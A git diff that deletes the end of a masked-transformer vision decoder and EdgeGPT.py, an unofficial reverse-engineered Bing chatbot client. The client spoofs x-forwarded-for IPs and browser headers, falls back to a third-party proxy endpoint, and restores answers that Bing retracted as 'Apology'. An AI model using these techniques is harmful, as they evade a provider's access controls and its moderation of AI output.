x, 'pred_captions': y } for x, y in zip(predictions_captioning[:-1], predictions_caption[:-1])]} - return out - else: - out = { - 'pred_logits': predictions_class[-1], - 'pred_masks': predictions_mask[-1], - 'pred_boxes': predictions_bbox[-1], - 'pred_captions': predictions_caption[-1], - 'aux_outputs': self._set_aux_loss( - predictions_class if self.mask_classification else None, predictions_mask, predictions_bbox, predictions_caption - ) - } - return out - - def forward_captioning(self, x, mask_features, mask = None, target_queries = None, target_vlp = None, task='seg', extra={}): - # x is a list of multi-scale feature - assert len(x) == self.num_feature_levels - src = [] - pos = [] - size_list = [] - - # disable mask, it does not affect performance - del mask - for i in range(self.num_feature_levels): - size_list.append(x[i].shape[-2:]) - pos.append(self.pe_layer(x[i], None).flatten(2)) - src.append(self.input_proj[i](x[i]).flatten(2) + self.level_embed.weight[i][None, :, None]) - - # flatten NxCxHxW to HWxNxC - pos[-1] = pos[-1].permute(2, 0, 1) - src[-1] = src[-1].permute(2, 0, 1) - - _, bs, _ = src[0].shape - - # QxNxC - query_embed_ = self.query_embed.weight.unsqueeze(1).repeat(1, bs, 1) - query_feat = self.query_feat.weight.unsqueeze(1).repeat(1, bs, 1) - caping_lang_token = extra['start_token'].repeat(bs, 1) - start_id = 0 - if 'token' in extra: - caping_lang_token[:,:len(extra['token'][0])] = extra['token'] - start_id = len(extra['token'][0])-1 - query_feat_caping = self.query_feat_caping.weight.unsqueeze(1).repeat(1, bs, 1) - # pos_embed_caping = self.pos_embed_caping.weight.unsqueeze(1).repeat(1, bs, 1) - # prepare token embedding for evaluation - token_embs = self.lang_encoder.lang_encoder.token_embedding.weight - # token_embs = (token_embs / token_embs.norm(dim=-1, keepdim=True) + 1e-7) - - for cap_idx in range(start_id, self.captioning_step): - caping_lang_embed = self.lang_encoder.forward_language_token((caping_lang_token,))[0].transpose(0, 1) - # output = torch.cat((query_feat, caping_lang_embed), dim=0) # concat object query, class token and caption token. - # caping_lang_embed += pos_embed_caping - query_embed = torch.cat((query_embed_, caping_lang_embed), dim=0) # may not add at the beginning. - output = torch.cat((query_feat, query_feat_caping), dim=0) # concat object query, class token and caption token. - - # prediction heads on learnable query features - results = self.forward_prediction_heads(output, mask_features, attn_mask_target_size=size_list[0], task=task) - attn_mask = results["attn_mask"] - - for i in range(self.num_layers): - level_index = i % self.num_feature_levels - attn_mask[torch.where(attn_mask.sum(-1) == attn_mask.shape[-1])] = False - attn_mask = torch.cat((attn_mask, torch.zeros_like(attn_mask[:, :self.contxt_len, :])), dim=1) - self_tgt_mask = self.self_attn_mask.repeat(output.shape[1]*self.num_heads, 1, 1) - - if extra['captioning_mask'] is not None: - bs,nq,wh = attn_mask.shape - assert bs==self.num_heads, "Only support single image referring captioning." - cap_mask = extra['captioning_mask'] - attn_mask = attn_mask.reshape(bs,nq,size_list[i%3][0],size_list[i%3][1]) - cap_mask = F.interpolate(cap_mask[None,].float(), size_list[i%3], mode='nearest').bool()[0,0] - attn_mask[:,self.num_queries:, cap_mask] = True - attn_mask = attn_mask.reshape(bs,nq,wh) - - # attention: cross-attention first - output, avg_attn = self.transformer_cross_attention_layers[i]( - output, src[level_index], - memory_mask=attn_mask, - memory_key_padding_mask=None, # here we do not apply masking on padded region - pos=pos[level_index], query_pos=query_embed - ) - - output = self.transformer_self_attention_layers[i]( - output, tgt_mask=self_tgt_mask, - tgt_key_padding_mask=None, - query_pos=query_embed - ) - - # FFN - output = self.transformer_ffn_layers[i]( - output - ) - - results = self.forward_prediction_heads(output, mask_features, attn_mask_target_size=size_list[(i + 1) % self.num_feature_levels], layer_id=i, task=task) - attn_mask = results["attn_mask"] - - pred_captions_gen = results['outputs_captionting'] - # pred_captions_gen = (pred_captions_gen / pred_captions_gen.norm(dim=-1, keepdim=True) + 1e-7) - pred_captions_gen = pred_captions_gen @ token_embs.t() - caping_lang_token[:,cap_idx+1] = pred_captions_gen[:,cap_idx].max(-1)[1] - - texts = self.lang_encoder.tokenizer.batch_decode(caping_lang_token, skip_special_tokens=False) - texts_new = [] - - for x in texts: - x = x.split('<|endoftext|>')[0] - x = x.replace('<|endoftext|>','') - x = x.replace('<|startoftext|>','') - x = x.strip() - texts_new.append(x) - - out = {'pred_captionings': caping_lang_token, - 'pred_texts': texts_new} - return out - - - def forward_prediction_heads(self, output, mask_features, attn_mask_target_size, layer_id=-1, task='seg'): - decoder_output = self.decoder_norm(output) - decoder_output = decoder_output.transpose(0, 1) - - # extract image captioning token from decoder output. - if self.task_switch['captioning'] and (task == 'vlp' or task == 'captioning_infer'): - outputs_captionting = decoder_output[:,self.num_queries:] @ self.caping_embed - else: - outputs_captionting = None - - # recompute class token output. - norm_decoder_output = decoder_output / (decoder_output.norm(dim=-1, keepdim=True) + 1e-7) - obj_token = norm_decoder_output[:,:self.num_queries-1] - cls_token = norm_decoder_output[:,self.num_queries-1:self.num_queries] - - sim = (cls_token @ obj_token.transpose(1,2)).softmax(-1)[:,0,:,None] # TODO include class token. - cls_token = (sim * decoder_output[:,:self.num_queries-1]).sum(dim=1, keepdim=True) - - if (((self.training and task == 'seg') or (task == 'grounding_eval')) and self.task_switch['grounding']) \ - or ((self.training and task == 'openimage') and self.task_switch['openimage']['grounding']): - decoder_output = torch.cat((decoder_output[:,:self.num_queries-1], cls_token, decoder_output[:,self.num_queries:2*self.num_queries-1]), dim=1) - else: - decoder_output = torch.cat((decoder_output[:,:self.num_queries-1], cls_token), dim=1) - - # compute class, mask and bbox. - class_embed = decoder_output @ self.class_embed - # HACK do not compute similarity if mask is not on - outputs_class = self.lang_encoder.compute_similarity(class_embed, fake=(((not self.task_switch['mask']) and self.training) or (task == 'openimage'))) - - if self.task_switch['mask'] or self.task_switch['openimage']['mask']: - mask_embed = self.mask_embed(decoder_output) - outputs_mask = torch.einsum("bqc,bchw->bqhw", mask_embed, mask_features) - - # NOTE: prediction is of higher-resolution - # [B, Q, H, W] -> [B, Q, H*W] -> [B, h, Q, H*W] -> [B*h, Q, HW] - attn_mask = F.interpolate(outputs_mask, size=attn_mask_target_size, mode="bilinear", align_corners=False) - - # must use bool type - # If a BoolTensor is provided, positions with ``True`` are not allowed to attend while ``False`` values will be unchanged. - attn_mask = (attn_mask.sigmoid().flatten(2).unsqueeze(1).repeat(1, self.num_heads, 1, 1).flatten(0, 1) < 0.5).bool() - attn_mask = attn_mask.detach() - - # NOTE: fill False for cls token (JY) - attn_mask[:, self.num_queries:self.num_queries+1].fill_(False) - else: - outputs_mask = None - attn_mask = torch.zeros((list(decoder_output.shape[:2]) + [attn_mask_target_size[0]*attn_mask_target_size[1]]), device=decoder_output.device).repeat(self.num_heads, 1, 1).bool() - - outputs_bbox = [None for i in range(len(decoder_output))] - if self.task_switch['bbox']: - outputs_bbox = self.bbox_embed(decoder_output) - - outputs_caption = None - if self.task_switch['caption']: - outputs_caption = class_embed - - - results = { - "outputs_class": outputs_class, - "outputs_mask": outputs_mask, - "outputs_bbox": outputs_bbox, - "attn_mask": attn_mask, - "outputs_caption": outputs_caption, - "outputs_captionting": outputs_captionting, - } - return results - - @torch.jit.unused - def _set_aux_loss(self, outputs_class, outputs_seg_masks, outputs_boxes, outputs_captions): - # this is a workaround to make torchscript happy, as torchscript - # doesn't support dictionary with non-homogeneous values, such - # as a dict having both a Tensor and a list. - if self.mask_classification: - return [ - {"pred_logits": a, "pred_masks": b, "pred_boxes": c, "pred_captions": d} - for a, b, c, d in zip(outputs_class[:-1], outputs_seg_masks[:-1], outputs_boxes[:-1], outputs_captions[:-1]) - ] - else: - return [{"pred_masks": b} for b in outputs_seg_masks[:-1]] - - -@register_decoder -def get_masked_transformer_decoder(cfg, in_channels, lang_encoder, mask_classification, extra): - return MultiScaleMaskedTransformerDecoder(cfg, in_channels, lang_encoder, mask_classification, extra) \ No newline at end of file diff --git a/spaces/xiaolv/new-bings/EdgeGPT.py b/spaces/xiaolv/new-bings/EdgeGPT.py deleted file mode 100644 index 58155fdb46f0d68a0087eb1edfb74f20de02a9cf..0000000000000000000000000000000000000000 --- a/spaces/xiaolv/new-bings/EdgeGPT.py +++ /dev/null @@ -1,1293 +0,0 @@ -""" -Main.py -""" -from __future__ import annotations - -import argparse -import asyncio -import aiofiles -import json -import os -import random -import re -import ssl -import sys -import time -import uuid -from enum import Enum -from pathlib import Path -from typing import Generator - -try: - from typing import Literal -except ImportError: - from typing_extensions import Literal -from typing import Optional -from typing import Union - -import aiohttp -import certifi -import httpx -from BingImageCreator import ImageGen -from BingImageCreator import ImageGenAsync -from prompt_toolkit import PromptSession -from prompt_toolkit.auto_suggest import AutoSuggestFromHistory -from prompt_toolkit.completion import WordCompleter -from prompt_toolkit.history import InMemoryHistory -from prompt_toolkit.key_binding import KeyBindings -from rich.live import Live -from rich.markdown import Markdown - -DELIMITER = "\x1e" - - -# Generate random IP between range 13.104.0.0/14 -FORWARDED_IP = ( - f"13.{random.randint(104, 107)}.{random.randint(0, 255)}.{random.randint(0, 255)}" -) - -HEADERS = { - "accept": "application/json", - "accept-language": "en-US,en;q=0.9", - "content-type": "application/json", - "sec-ch-ua": '"Not_A Brand";v="99", "Microsoft Edge";v="110", "Chromium";v="110"', - "sec-ch-ua-arch": '"x86"', - "sec-ch-ua-bitness": '"64"', - "sec-ch-ua-full-version": '"109.0.1518.78"', - "sec-ch-ua-full-version-list": '"Chromium";v="110.0.5481.192", "Not A(Brand";v="24.0.0.0", "Microsoft Edge";v="110.0.1587.69"', - "sec-ch-ua-mobile": "?0", - "sec-ch-ua-model": "", - "sec-ch-ua-platform": '"Windows"', - "sec-ch-ua-platform-version": '"15.0.0"', - "sec-fetch-dest": "empty", - "sec-fetch-mode": "cors", - "sec-fetch-site": "same-origin", - "x-ms-client-request-id": str(uuid.uuid4()), - "x-ms-useragent": "azsdk-js-api-client-factory/1.0.0-beta.1 core-rest-pipeline/1.10.0 OS/Win32", - "Referer": "https://www.bing.com/search?q=Bing+AI&showconv=1&FORM=hpcodx", - "Referrer-Policy": "origin-when-cross-origin", - "x-forwarded-for": FORWARDED_IP, -} - -HEADERS_INIT_CONVER = { - "authority": "edgeservices.bing.com", - "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", - "accept-language": "en-US,en;q=0.9", - "cache-control": "max-age=0", - "sec-ch-ua": '"Chromium";v="110", "Not A(Brand";v="24", "Microsoft Edge";v="110"', - "sec-ch-ua-arch": '"x86"', - "sec-ch-ua-bitness": '"64"', - "sec-ch-ua-full-version": '"110.0.1587.69"', - "sec-ch-ua-full-version-list": '"Chromium";v="110.0.5481.192", "Not A(Brand";v="24.0.0.0", "Microsoft Edge";v="110.0.1587.69"', - "sec-ch-ua-mobile": "?0", - "sec-ch-ua-model": '""', - "sec-ch-ua-platform": '"Windows"', - "sec-ch-ua-platform-version": '"15.0.0"', - "sec-fetch-dest": "document", - "sec-fetch-mode": "navigate", - "sec-fetch-site": "none", - "sec-fetch-user": "?1", - "upgrade-insecure-requests": "1", - "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.69", - "x-edge-shopping-flag": "1", - "x-forwarded-for": FORWARDED_IP, -} - -ssl_context = ssl.create_default_context() -ssl_context.load_verify_locations(certifi.where()) - - -class NotAllowedToAccess(Exception): - pass - - -class LocationHint(Enum): - USA = { - "locale": "en-US", - "LocationHint": [ - { - "country": "United States", - "state": "California", - "city": "Los Angeles", - "timezoneoffset": 8, - "countryConfidence": 8, - "Center": { - "Latitude": 34.0536909, - "Longitude": -118.242766, - }, - "RegionType": 2, - "SourceType": 1, - } - ], - } - CHINA = { - "locale": "zh-CN", - "LocationHint": [ - { - "country": "China", - "state": "", - "city": "Beijing", - "timezoneoffset": 8, - "countryConfidence": 8, - "Center": { - "Latitude": 39.9042, - "Longitude": 116.4074, - }, - "RegionType": 2, - "SourceType": 1, - } - ], - } - EU = { - "locale": "en-IE", - "LocationHint": [ - { - "country": "Norway", - "state": "", - "city": "Oslo", - "timezoneoffset": 1, - "countryConfidence": 8, - "Center": { - "Latitude": 59.9139, - "Longitude": 10.7522, - }, - "RegionType": 2, - "SourceType": 1, - } - ], - } - UK = { - "locale": "en-GB", - "LocationHint": [ - { - "country": "United Kingdom", - "state": "", - "city": "London", - "timezoneoffset": 0, - "countryConfidence": 8, - "Center": { - "Latitude": 51.5074, - "Longitude": -0.1278, - }, - "RegionType": 2, - "SourceType": 1, - }, - ], - } - - -LOCATION_HINT_TYPES = Optional[Union[LocationHint, Literal["USA", "CHINA", "EU", "UK"]]] - - -def get_location_hint_from_locale(locale: str) -> dict | None: - locale = locale.lower() - if locale == "en-us": - return LocationHint.USA.value - elif locale == "zh-cn": - return LocationHint.CHINA.value - elif locale == "en-gb": - return LocationHint.UK.value - elif locale == "en-ie": - return LocationHint.EU.value - else: - return None - - -class ConversationStyle(Enum): - creative = [ - "nlu_direct_response_filter", - "deepleo", - "disable_emoji_spoken_text", - "responsible_ai_policy_235", - "enablemm", - "h3imaginative", - "cachewriteext", - "e2ecachewrite", - "nodlcpcwrite", - "nointernalsugg", - "saharasugg", - "enablenewsfc", - "dv3sugg", - "clgalileo", - "gencontentv3", - "nojbfedge", - ] - balanced = [ - "nlu_direct_response_filter", - "deepleo", - "disable_emoji_spoken_text", - "responsible_ai_policy_235", - "enablemm", - "harmonyv3", - "cachewriteext", - "e2ecachewrite", - "nodlcpcwrite", - "nointernalsugg", - "saharasugg", - "enablenewsfc", - "dv3sugg", - "nojbfedge", - ] - precise = [ - "nlu_direct_response_filter", - "deepleo", - "disable_emoji_spoken_text", - "responsible_ai_policy_235", - "enablemm", - "h3precise", - "cachewriteext", - "e2ecachewrite", - "nodlcpcwrite", - "nointernalsugg", - "saharasugg", - "enablenewsfc", - "dv3sugg", - "clgalileo", - "gencontentv3", - "nojbfedge", - ] - - -CONVERSATION_STYLE_TYPE = Optional[ - Union[ConversationStyle, Literal["creative", "balanced", "precise"]] -] - - -def _append_identifier(msg: dict) -> str: - """ - Appends special character to end of message to identify end of message - """ - # Convert dict to json string - return json.dumps(msg, ensure_ascii=False) + DELIMITER - - -def _get_ran_hex(length: int = 32) -> str: - """ - Returns random hex string - """ - return "".join(random.choice("0123456789abcdef") for _ in range(length)) - - -class _ChatHubRequest: - """ - Request object for ChatHub - """ - - def __init__( - self, - conversation_signature: str, - client_id: str, - conversation_id: str, - invocation_id: int = 0, - ) -> None: - self.struct: dict = {} - - self.client_id: str = client_id - self.conversation_id: str = conversation_id - self.conversation_signature: str = conversation_signature - self.invocation_id: int = invocation_id - - def update( - self, - prompt: str, - conversation_style: CONVERSATION_STYLE_TYPE, - options: list | None = None, - webpage_context: str | None = None, - search_result: bool = False, - locale: str = "en-US", - ) -> None: - """ - Updates request object - """ - if options is None: - options = [ - "deepleo", - "enable_debug_commands", - "disable_emoji_spoken_text", - "enablemm", - ] - if conversation_style: - if not isinstance(conversation_style, ConversationStyle): - conversation_style = getattr(ConversationStyle, conversation_style) - options = conversation_style.value - self.struct = { - "arguments": [ - { - "source": "cib", - "optionsSets": options, - "allowedMessageTypes": [ - "Chat", - "Disengaged", - "AdsQuery", - "SemanticSerp", - "GenerateContentQuery", - "SearchQuery", - "ActionRequest", - "Context", - "Progress", - "AdsQuery", - "SemanticSerp", - ], - "sliceIds": [ - "winmuid3tf", - "osbsdusgreccf", - "ttstmout", - "crchatrev", - "winlongmsgtf", - "ctrlworkpay", - "norespwtf", - "tempcacheread", - "temptacache", - "505scss0", - "508jbcars0", - "515enbotdets0", - "5082tsports", - "515vaoprvs", - "424dagslnv1s0", - "kcimgattcf", - "427startpms0", - ], - "traceId": _get_ran_hex(32), - "isStartOfSession": self.invocation_id == 0, - "message": { - "locale": locale, - "market": locale, - "region": locale[-2:], # en-US -> US - "locationHints": [get_location_hint_from_locale(locale)], - "author": "user", - "inputMethod": "Keyboard", - "text": prompt, - "messageType": "Chat", - }, - "conversationSignature": self.conversation_signature, - "participant": { - "id": self.client_id, - }, - "conversationId": self.conversation_id, - }, - ], - "invocationId": str(self.invocation_id), - "target": "chat", - "type": 4, - } - if search_result: - have_search_result = [ - "InternalSearchQuery", - "InternalSearchResult", - "InternalLoaderMessage", - "RenderCardRequest", - ] - self.struct["arguments"][0]["allowedMessageTypes"] += have_search_result - if webpage_context: - self.struct["arguments"][0]["previousMessages"] = [ - { - "author": "user", - "description": webpage_context, - "contextType": "WebPage", - "messageType": "Context", - "messageId": "discover-web--page-ping-mriduna-----", - }, - ] - self.invocation_id += 1 - - -class _Conversation: - """ - Conversation API - """ - - def __init__( - self, - proxy: str | None = None, - async_mode: bool = False, - cookies: list[dict] | None = None, - ) -> None: - if async_mode: - return - self.struct: dict = { - "conversationId": None, - "clientId": None, - "conversationSignature": None, - "result": {"value": "Success", "message": None}, - } - self.proxy = proxy - proxy = ( - proxy - or os.environ.get("all_proxy") - or os.environ.get("ALL_PROXY") - or os.environ.get("https_proxy") - or os.environ.get("HTTPS_PROXY") - or None - ) - if proxy is not None and proxy.startswith("socks5h://"): - proxy = "socks5://" + proxy[len("socks5h://") :] - self.session = httpx.Client( - proxies=proxy, - timeout=900, - headers=HEADERS_INIT_CONVER, - ) - if cookies: - for cookie in cookies: - self.session.cookies.set(cookie["name"], cookie["value"]) - # Send GET request - response = self.session.get( - url=os.environ.get("BING_PROXY_URL") - or "https://edgeservices.bing.com/edgesvc/turing/conversation/create", - ) - if response.status_code != 200: - response = self.session.get( - "https://edge.churchless.tech/edgesvc/turing/conversation/create", - ) - if response.status_code != 200: - print(f"Status code: {response.status_code}") - print(response.text) - print(response.url) - raise Exception("Authentication failed") - try: - self.struct = response.json() - except (json.decoder.JSONDecodeError, NotAllowedToAccess) as exc: - raise Exception( - "Authentication failed. You have not been accepted into the beta.", - ) from exc - if self.struct["result"]["value"] == "UnauthorizedRequest": - raise NotAllowedToAccess(self.struct["result"]["message"]) - - @staticmethod - async def create( - proxy: str | None = None, - cookies: list[dict] | None = None, - ) -> _Conversation: - self = _Conversation(async_mode=True) - self.struct = { - "conversationId": None, - "clientId": None, - "conversationSignature": None, - "result": {"value": "Success", "message": None}, - } - self.proxy = proxy - proxy = ( - proxy - or os.environ.get("all_proxy") - or os.environ.get("ALL_PROXY") - or os.environ.get("https_proxy") - or os.environ.get("HTTPS_PROXY") - or None - ) - if proxy is not None and proxy.startswith("socks5h://"): - proxy = "socks5://" + proxy[len("socks5h://") :] - transport = httpx.AsyncHTTPTransport(retries=900) - # Convert cookie format to httpx format - formatted_cookies = None - if cookies: - formatted_cookies = httpx.Cookies() - for cookie in cookies: - formatted_cookies.set(cookie["name"], cookie["value"]) - async with httpx.AsyncClient( - proxies=proxy, - timeout=30, - headers=HEADERS_INIT_CONVER, - transport=transport, - cookies=formatted_cookies, - ) as client: - # Send GET request - response = await client.get( - url=os.environ.get("BING_PROXY_URL") - or "https://edgeservices.bing.com/edgesvc/turing/conversation/create", - ) - if response.status_code != 200: - response = await client.get( - "https://edge.churchless.tech/edgesvc/turing/conversation/create", - ) - if response.status_code != 200: - print(f"Status code: {response.status_code}") - print(response.text) - print(response.url) - raise Exception("Authentication failed") - try: - self.struct = response.json() - except (json.decoder.JSONDecodeError, NotAllowedToAccess) as exc: - raise Exception( - "Authentication failed. You have not been accepted into the beta.", - ) from exc - if self.struct["result"]["value"] == "UnauthorizedRequest": - raise NotAllowedToAccess(self.struct["result"]["message"]) - return self - - -class _ChatHub: - """ - Chat API - """ - - def __init__( - self, - conversation: _Conversation, - proxy: str = None, - cookies: list[dict] | None = None, - ) -> None: - self.session: aiohttp.ClientSession | None = None - self.wss: aiohttp.ClientWebSocketResponse | None = None - self.request: _ChatHubRequest - self.loop: bool - self.task: asyncio.Task - self.request = _ChatHubRequest( - conversation_signature=conversation.struct["conversationSignature"], - client_id=conversation.struct["clientId"], - conversation_id=conversation.struct["conversationId"], - ) - self.cookies = cookies - self.proxy: str = proxy - - async def ask_stream( - self, - prompt: str, - wss_link: str, - conversation_style: CONVERSATION_STYLE_TYPE = None, - raw: bool = False, - options: dict = None, - webpage_context: str | None = None, - search_result: bool = False, - locale: str = "en-US", - ) -> Generator[str, None, None]: - """ - Ask a question to the bot - """ - timeout = aiohttp.ClientTimeout(total=900) - self.session = aiohttp.ClientSession(timeout=timeout) - - if self.wss and not self.wss.closed: - await self.wss.close() - # Check if websocket is closed - self.wss = await self.session.ws_connect( - wss_link, - headers=HEADERS, - ssl=ssl_context, - proxy=self.proxy, - autoping=False, - ) - await self._initial_handshake() - if self.request.invocation_id == 0: - # Construct a ChatHub request - self.request.update( - prompt=prompt, - conversation_style=conversation_style, - options=options, - webpage_context=webpage_context, - search_result=search_result, - locale=locale, - ) - else: - async with httpx.AsyncClient() as client: - response = await client.post( - "https://sydney.bing.com/sydney/UpdateConversation/", - json={ - "messages": [ - { - "author": "user", - "description": webpage_context, - "contextType": "WebPage", - "messageType": "Context", - }, - ], - "conversationId": self.request.conversation_id, - "source": "cib", - "traceId": _get_ran_hex(32), - "participant": {"id": self.request.client_id}, - "conversationSignature": self.request.conversation_signature, - }, - ) - if response.status_code != 200: - print(f"Status code: {response.status_code}") - print(response.text) - print(response.url) - raise Exception("Update web page context failed") - # Construct a ChatHub request - self.request.update( - prompt=prompt, - conversation_style=conversation_style, - options=options, - ) - # Send request - await self.wss.send_str(_append_identifier(self.request.struct)) - final = False - draw = False - resp_txt = "" - result_text = "" - resp_txt_no_link = "" - while not final: - msg = await self.wss.receive(timeout=900) - objects = msg.data.split(DELIMITER) - for obj in objects: - if obj is None or not obj: - continue - response = json.loads(obj) - if response.get("type") != 2 and raw: - yield False, response - elif response.get("type") == 1 and response["arguments"][0].get( - "messages", - ): - if not draw: - if ( - response["arguments"][0]["messages"][0].get("messageType") - == "GenerateContentQuery" - ): - async with ImageGenAsync("", True) as image_generator: - images = await image_generator.get_images( - response["arguments"][0]["messages"][0]["text"], - ) - for i, image in enumerate(images): - resp_txt = resp_txt + f"\n![image{i}]({image})" - draw = True - if ( - response["arguments"][0]["messages"][0]["contentOrigin"] - != "Apology" - ) and not draw: - resp_txt = result_text + response["arguments"][0][ - "messages" - ][0]["adaptiveCards"][0]["body"][0].get("text", "") - resp_txt_no_link = result_text + response["arguments"][0][ - "messages" - ][0].get("text", "") - if response["arguments"][0]["messages"][0].get( - "messageType", - ): - resp_txt = ( - resp_txt - + response["arguments"][0]["messages"][0][ - "adaptiveCards" - ][0]["body"][0]["inlines"][0].get("text") - + "\n" - ) - result_text = ( - result_text - + response["arguments"][0]["messages"][0][ - "adaptiveCards" - ][0]["body"][0]["inlines"][0].get("text") - + "\n" - ) - yield False, resp_txt - - elif response.get("type") == 2: - if response["item"]["result"].get("error"): - await self.close() - raise Exception( - f"{response['item']['result']['value']}: {response['item']['result']['message']}", - ) - if draw: - cache = response["item"]["messages"][1]["adaptiveCards"][0][ - "body" - ][0]["text"] - response["item"]["messages"][1]["adaptiveCards"][0]["body"][0][ - "text" - ] = (cache + resp_txt) - if ( - response["item"]["messages"][-1]["contentOrigin"] == "Apology" - and resp_txt - ): - response["item"]["messages"][-1]["text"] = resp_txt_no_link - response["item"]["messages"][-1]["adaptiveCards"][0]["body"][0][ - "text" - ] = resp_txt - print( - "Preserved the message from being deleted", - file=sys.stderr, - ) - final = True - await self.close() - yield True, response - - async def _initial_handshake(self) -> None: - await self.wss.send_str(_append_identifier({"protocol": "json", "version": 1})) - await self.wss.receive(timeout=900) - - async def close(self) -> None: - """ - Close the connection - """ - if self.wss and not self.wss.closed: - await self.wss.close() - if self.session and not self.session.closed: - await self.session.close() - - -class Chatbot: - """ - Combines everything to make it seamless - """ - - def __init__( - self, - proxy: str | None = None, - cookies: list[dict] | None = None, - ) -> None: - self.proxy: str | None = proxy - self.chat_hub: _ChatHub = _ChatHub( - _Conversation(self.proxy, cookies=cookies), - proxy=self.proxy, - cookies=cookies, - ) - - @staticmethod - async def create( - proxy: str | None = None, - cookies: list[dict] | None = None, - ): - self = Chatbot.__new__(Chatbot) - self.proxy = proxy - self.chat_hub = _ChatHub( - await _Conversation.create(self.proxy, cookies=cookies), - proxy=self.proxy, - cookies=cookies, - ) - return self - - async def save_conversation(self, filename: str) -> None: - """ - Save the conversation to a file - """ - async with aiofiles.open(filename, "w") as f: - f.write(json.dumps(self.chat_hub.struct)) - - async def load_conversation(self, filename: str) -> None: - """ - Load the conversation from a file - """ - async with aiofiles.open(filename, "r") as f: - self.chat_hub.struct = json.loads(await f.read()) - - async def ask( - self, - prompt: str, - wss_link: str = "wss://sydney.bing.com/sydney/ChatHub", - conversation_style: CONVERSATION_STYLE_TYPE = None, - options: dict = None, - webpage_context: str | None = None, - search_result: bool = False, - locale: str = "en-US", - ) -> dict: - """ - Ask a question to the bot - """ - async for final, response in self.chat_hub.ask_stream( - prompt=prompt, - conversation_style=conversation_style, - wss_link=wss_link, - options=options, - webpage_context=webpage_context, - search_result=search_result, - locale=locale, - ): - if final: - return response - await self.chat_hub.wss.close() - return {} - - async def ask_stream( - self, - prompt: str, - wss_link: str = "wss://sydney.bing.com/sydney/ChatHub", - conversation_style: CONVERSATION_STYLE_TYPE = None, - raw: bool = False, - options: dict = None, - webpage_context: str | None = None, - search_result: bool = False, - locale: str = "en-US", - ) -> Generator[str, None, None]: - """ - Ask a question to the bot - """ - async for response in self.chat_hub.ask_stream( - prompt=prompt, - conversation_style=conversation_style, - wss_link=wss_link, - raw=raw, - options=options, - webpage_context=webpage_context, - search_result=search_result, - locale=locale, - ): - yield response - - async def close(self) -> None: - """ - Close the connection - """ - await self.chat_hub.close() - - async def reset(self) -> None: - """ - Reset the conversation - """ - await self.close() - self.chat_hub = _ChatHub( - await _Conversation.create(self.proxy, cookies=self.chat_hub.cookies), - proxy=self.proxy, - cookies=self.chat_hub.cookies, - ) - - -async def _get_input_async( - session: PromptSession = None, - completer: WordCompleter = None, -) -> str: - """ - Multiline input function. - """ - return await session.prompt_async( - completer=completer, - multiline=True, - auto_suggest=AutoSuggestFromHistory(), - ) - - -def _create_session() -> PromptSession: - kb = KeyBindings() - - @kb.add("enter") - def _(event): - buffer_text = event.current_buffer.text - if buffer_text.startswith("!"): - event.current_buffer.validate_and_handle() - else: - event.current_buffer.insert_text("\n") - - @kb.add("escape") - def _(event): - if event.current_buffer.complete_state: - # event.current_buffer.cancel_completion() - event.current_buffer.text = "" - - return PromptSession(key_bindings=kb, history=InMemoryHistory()) - - -def _create_completer(commands: list, pattern_str: str = "$"): - return WordCompleter(words=commands, pattern=re.compile(pattern_str)) - - -def _create_history_logger(f): - def logger(*args, **kwargs): - tmp = sys.stdout - sys.stdout = f - print(*args, **kwargs, flush=True) - sys.stdout = tmp - - return logger - - -async def async_main(args: argparse.Namespace) -> None: - """ - Main function - """ - print("Initializing...") - print("Enter `alt+enter` or `escape+enter` to send a message") - # Read and parse cookies - cookies = None - if args.cookie_file: - cookies = json.loads(open(args.cookie_file, encoding="utf-8").read()) - bot = await Chatbot.create(proxy=args.proxy, cookies=cookies) - session = _create_session() - completer = _create_completer(["!help", "!exit", "!reset"]) - initial_prompt = args.prompt - - # Log chat history - def p_hist(*args, **kwargs): - pass - - if args.history_file: - f = open(args.history_file, "a+", encoding="utf-8") - p_hist = _create_history_logger(f) - - while True: - print("\nYou:") - p_hist("\nYou:") - if initial_prompt: - question = initial_prompt - print(question) - initial_prompt = None - else: - question = ( - input() - if args.enter_once - else await _get_input_async(session=session, completer=completer) - ) - print() - p_hist(question + "\n") - if question == "!exit": - break - if question == "!help": - print( - """ - !help - Show this help message - !exit - Exit the program - !reset - Reset the conversation - """, - ) - continue - if question == "!reset": - await bot.reset() - continue - print("Bot:") - p_hist("Bot:") - if args.no_stream: - response = ( - await bot.ask( - prompt=question, - conversation_style=args.style, - wss_link=args.wss_link, - search_result=args.search_result, - locale=args.locale, - ) - )["item"]["messages"][1]["adaptiveCards"][0]["body"][0]["text"] - print(response) - p_hist(response) - else: - wrote = 0 - if args.rich: - md = Markdown("") - with Live(md, auto_refresh=False) as live: - async for final, response in bot.ask_stream( - prompt=question, - conversation_style=args.style, - wss_link=args.wss_link, - search_result=args.search_result, - locale=args.locale, - ): - if not final: - if not wrote: - p_hist(response, end="") - else: - p_hist(response[wrote:], end="") - if wrote > len(response): - print(md) - print(Markdown("***Bing revoked the response.***")) - wrote = len(response) - md = Markdown(response) - live.update(md, refresh=True) - else: - async for final, response in bot.ask_stream( - prompt=question, - conversation_style=args.style, - wss_link=args.wss_link, - search_result=args.search_result, - locale=args.locale, - ): - if not final: - if not wrote: - print(response, end="", flush=True) - p_hist(response, end="") - else: - print(response[wrote:], end="", flush=True) - p_hist(response[wrote:], end="") - wrote = len(response) - print() - p_hist() - if args.history_file: - f.close() - await bot.close() - - -def main() -> None: - print( - """ - EdgeGPT - A demo of reverse engineering the Bing GPT chatbot - Repo: github.com/acheong08/EdgeGPT - By: Antonio Cheong - - !help for help - - Type !exit to exit - """, - ) - parser = argparse.ArgumentParser() - parser.add_argument("--enter-once", action="store_true") - parser.add_argument("--search-result", action="store_true") - parser.add_argument("--no-stream", action="store_true") - parser.add_argument("--rich", action="store_true") - parser.add_argument( - "--proxy", - help="Proxy URL (e.g. socks5://127.0.0.1:1080)", - type=str, - ) - parser.add_argument( - "--wss-link", - help="WSS URL(e.g. wss://sydney.bing.com/sydney/ChatHub)", - type=str, - default="wss://sydney.bing.com/sydney/ChatHub", - ) - parser.add_argument( - "--style", - choices=["creative", "balanced", "precise"], - default="balanced", - ) - parser.add_argument( - "--prompt", - type=str, - default="", - required=False, - help="prompt to start with", - ) - parser.add_argument( - "--cookie-file", - type=str, - default="", - required=False, - help="path to cookie file", - ) - 